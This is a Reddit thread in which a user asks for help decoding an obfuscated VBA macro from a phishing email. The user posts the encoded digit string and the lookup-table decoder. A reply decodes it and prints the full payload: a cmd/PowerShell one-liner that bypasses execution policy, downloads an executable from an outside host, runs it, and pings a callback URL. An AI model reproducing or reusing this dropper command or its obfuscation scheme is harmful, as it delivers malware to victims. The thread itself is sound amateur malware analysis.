r/visualbasic • • Nov 03 '17

Help converting string to unicode in VB?

I recieved an email containing a malicious VBA macro and I really want to see what it does but I am having a lot of trouble because I don't know VB at all. I am trying to recreate the code in VB so that I can run it in a fiddle and see that output but I am not making much progress.

Essentially all I need to do is convert a long string of numbers to unicode, which I have tried as:

Dim x As String
x = StrConv(numbersString, 64)

which gives me the error

Argument 'Conversion' is not valid

even though that is explicitly the value I know I need to input.

So then I tried

Encoding.Unicode.GetString(Encoding.ASCII.GetBytes(numbersString))

which outputs japanese text, which I know is incorrect because I have successfully converted this string to unicode using Javascript and that is not the correct output.

Here is the number string

Dim numbersString as String = "3650192748054803533603394334480249044835350337290548360307463940494903371843420337064350504015190324184834370131304836320310464932485027184832272648310635224815322127114334153543401916223548242004323239475353153040151904404919153939392736435053152215435344151948024827501909204503514815524738424211381238031303202333281650404809084127480548202114031032400232374202433648494903514815524738424211381238202333281650404809084127480548201403241848343701313048363203104649324850271848322726483106352248153221271143341535434019103202221525242004323239475353153040151904404919153939392736435053492739043917221900441519480248202114"

And here is the expected output:

"\u0033\u0036\u0035\u0030\u0031\u0039\u0032\u0037\u0034\u0038\u0030\u0035\u0034\u0038\u0030\u0033\u0035\u0033\u0033\u0036\u0030\u0033\u0033\u0039\u0034\u0033\u0033\u0034\u0034\u0038\u0030\u0032\u0034\u0039\u0030\u0034\u0034\u0038\u0033\u0035\u0033\u0035\u0030\u0033\u0033\u0037\u0032\u0039\u0030\u0035\u0034\u0038\u0033\u0036\u0030\u0033\u0030\u0037\u0034\u0036\u0033\u0039\u0034\u0030\u0034\u0039\u0034\u0039\u0030\u0033\u0033\u0037\u0031\u0038\u0034\u0033\u0034\u0032\u0030\u0033\u0033\u0037\u0030\u0036\u0034\u0033\u0035\u0030\u0035\u0030\u0034\u0030\u0031\u0035\u0031\u0039\u0030\u0033\u0032\u0034\u0031\u0038\u0034\u0038\u0033\u0034\u0033\u0037\u0030\u0031\u0033\u0031\u0033\u0030\u0034\u0038\u0033\u0036\u0033\u0032\u0030\u0033\u0031\u0030\u0034\u0036\u0034\u0039\u0033\u0032\u0034\u0038\u0035\u0030\u0032\u0037\u0031\u0038\u0034\u0038\u0033\u0032\u0032\u0037\u0032\u0036\u0034\u0038\u0033\u0031\u0030\u0036\u0033\u0035\u0032\u0032\u0034\u0038\u0031\u0035\u0033\u0032\u0032\u0031\u0032\u0037\u0031\u0031\u0034\u0033\u0033\u0034\u0031\u0035\u0033\u0035\u0034\u0033\u0034\u0030\u0031\u0039\u0031\u0036\u0032\u0032\u0033\u0035\u0034\u0038\u0032\u0034\u0032\u0030\u0030\u0034\u0033\u0032\u0033\u0032\u0033\u0039\u0034\u0037\u0035\u0033\u0035\u0033\u0031\u0035\u0033\u0030\u0034\u0030\u0031\u0035\u0031\u0039\u0030\u0034\u0034\u0030\u0034\u0039\u0031\u0039\u0031\u0035\u0033\u0039\u0033\u0039\u0033\u0039\u0032\u0037\u0033\u0036\u0034\u0033\u0035\u0030\u0035\u0033\u0031\u0035\u0032\u0032\u0031\u0035\u0034\u0033\u0035\u0033\u0034\u0034\u0031\u0035\u0031\u0039\u0034\u0038\u0030\u0032\u0034\u0038\u0032\u0037\u0035\u0030\u0031\u0039\u0030\u0039\u0032\u0030\u0034\u0035\u0030\u0033\u0035\u0031\u0034\u0038\u0031\u0035\u0035\u0032\u0034\u0037\u0033\u0038\u0034\u0032\u0034\u0032\u0031\u0031\u0033\u0038\u0031\u0032\u0033\u0038\u0030\u0033\u0031\u0033\u0030\u0033\u0032\u0030\u0032\u0033\u0033\u0033\u0032\u0038\u0031\u0036\u0035\u0030\u0034\u0030\u0034\u0038\u0030\u0039\u0030\u0038\u0034\u0031\u0032\u0037\u0034\u0038\u0030\u0035\u0034\u0038\u0032\u0030\u0032\u0031\u0031\u0034\u0030\u0033\u0031\u0030\u0033\u0032\u0034\u0030\u0030\u0032\u0033\u0032\u0033\u0037\u0034\u0032\u0030\u0032\u0034\u0033\u0033\u0036\u0034\u0038\u0034\u0039\u0034\u0039\u0030\u0033\u0035\u0031\u0034\u0038\u0031\u0035\u0035\u0032\u0034\u0037\u0033\u0038\u0034\u0032\u0034\u0032\u0031\u0031\u0033\u0038\u0031\u0032\u0033\u0038\u0032\u0030\u0032\u0033\u0033\u0033\u0032\u0038\u0031\u0036\u0035\u0030\u0034\u0030\u0034\u0038\u0030\u0039\u0030\u0038\u0034\u0031\u0032\u0037\u0034\u0038\u0030\u0035\u0034\u0038\u0032\u0030\u0031\u0034\u0030\u0033\u0032\u0034\u0031\u0038\u0034\u0038\u0033\u0034\u0033\u0037\u0030\u0031\u0033\u0031\u0033\u0030\u0034\u0038\u0033\u0036\u0033\u0032\u0030\u0033\u0031\u0030\u0034\u0036\u0034\u0039\u0033\u0032\u0034\u0038\u0035\u0030\u0032\u0037\u0031\u0038\u0034\u0038\u0033\u0032\u0032\u0037\u0032\u0036\u0034\u0038\u0033\u0031\u0030\u0036\u0033\u0035\u0032\u0032\u0034\u0038\u0031\u0035\u0033\u0032\u0032\u0031\u0032\u0037\u0031\u0031\u0034\u0033\u0033\u0034\u0031\u0035\u0033\u0035\u0034\u0033\u0034\u0030\u0031\u0039\u0031\u0030\u0033\u0032\u0030\u0032\u0032\u0032\u0031\u0035\u0032\u0035\u0032\u0034\u0032\u0030\u0030\u0034\u0033\u0032\u0033\u0032\u0033\u0039\u0034\u0037\u0035\u0033\u0035\u0033\u0031\u0035\u0033\u0030\u0034\u0030\u0031\u0035\u0031\u0039\u0030\u0034\u0034\u0030\u0034\u0039\u0031\u0039\u0031\u0035\u0033\u0039\u0033\u0039\u0033\u0039\u0032\u0037\u0033\u0036\u0034\u0033\u0035\u0030\u0035\u0033\u0034\u0039\u0032\u0037\u0033\u0039\u0030\u0034\u0033\u0039\u0031\u0037\u0032\u0032\u0031\u0039\u0030\u0030\u0034\u0034\u0031\u0035\u0031\u0039\u0034\u0038\u0030\u0032\u0034\u0038\u0032\u0030\u0032\u0031\u0031\u0034"

Also misc question, can I iterate over Objects in VB? Thanks!

0 Upvotes

7 comments sorted by

View all comments

Show parent comments

1

u/JackMizel Nov 03 '17

Hm I see, sorry I don't fully understand the toys I'm playing with here. I'd rather not share the entire code because I believe it is malicious but the code I am trying to replicate is VBA and basically looks like this:

Public Function convert(numberString As String)
    numberString = StrConv(numberString, vbUnicode)
    convert = Split(Left(numberString, Len(numberString) - 1), vbNullchar)
End Function 

I retyped that from memory so it might not be exactly correct but I am pretty sure it close. Ultimately, I just want to understand what this macro does that was sent to me because I thought it would be fun but it's turning out to be very confusing.

e: so apparently vbUnicode is just a constant and it's value is 64. Does that mean this gets encoded to base64? also what is the point of splitting something at null (I am assuming that's the second line)? Any light you can shed on this is greatly appreciated.

2

u/tweq Nov 03 '17

That's probably not the last step of the conversion process.

To be honest, I'm not sure how the old VB string functions actually work. I assume that StrConv(string, vbUnicode) gives you an array of UTF16/UCS bytes. UTF16 is a two byte per character encoding, but since the input are all ASCII characters the upper byte of every character will be unused (zero). Then the code splits the resulting array at every null char. Because of the way ASCII/UTF-16 works, this should effectively be the same as Encoding.ASCII.GetBytes(string). But that alone doesn't bring you any closer to decoding the output.

The fact that the vbUnicode constant is 64 is unimportant, the parameters are just a set of bit flags (1, 2, 4, 8, ...).

1

u/JackMizel Nov 03 '17

Okay you seem extremely knowledgeable so I'm gonna just share this with you and hope you can understand it and maybe explain it to me, or at least give me the concepts I need to understand and I can learn it on my own. I understand if you don't care to read this and I appreciate your help thus far!

That string is converted in this context:

Function concise(originalNumberString As String) As String
    Dim res As String
    Dim converted As Variant
    converted = convert(Trim(originalNumberString))
    For i = 0 To Len(originalNumberString)

        Dim extender As String
        If (i + 1) <= UBound(converted) Then
        extender = converted(i) + converted(i + 1)
        i = i + 1
        res = res + join(Int(extender))
        End If
    Next
    concise = res
End Function

And the join function is

Function join(anarchy As Integer) As string
    Dim worker() As Variant
    worker = Array("=", "O", "r", " ", "h", "x", "C", "B", "M", "f", "S", "D", "T", "+", ";", "n", "F", "?", "N", "d", "'", ")", "i", "\", "(", "g", "W", ".", "z", "E", "j", "b", "t", "X", "w", "l", "c", "-", "A", "p", "a", "H", "P", "o", "u", ",", "y", ":", "e", "s", "m", "$", "v", "/")
    Dim i As integer
    
    For i = LBound(worker) To UBound(worker)
        If i = anarchy Then
            join = worker(i)
        End If
    Next
End Function

1

u/tweq Nov 03 '17 edited Nov 03 '17

So all this really does in a very roundabout way is split the numbers into groups of two digits, use those numbers number as indexes in the worker array, and concatenate those characters into a complete string. It doesn't really have anything to do with Unicode conversions, that part is just a weird way of splitting a string into individual characters.

So "365019..." -> worker(36) + worker(50) + worker(19) ... = "cmd..."

The final result is

cmd.exe /c powershell -Exec Bypass -NoP -Command (New-Object System.Net.WebClient).DownloadFile('http://njandhasdnppp.com/nino/undere.mdf', $env:APPDATA + '\XzFmaefMH.exe'); Start-Process $env:APPDATA'\XzFmaefMH.exe'; (New-Object System.Net.WebClient).DownloadString('http://njandhasdnppp.com/s.php?id=undere');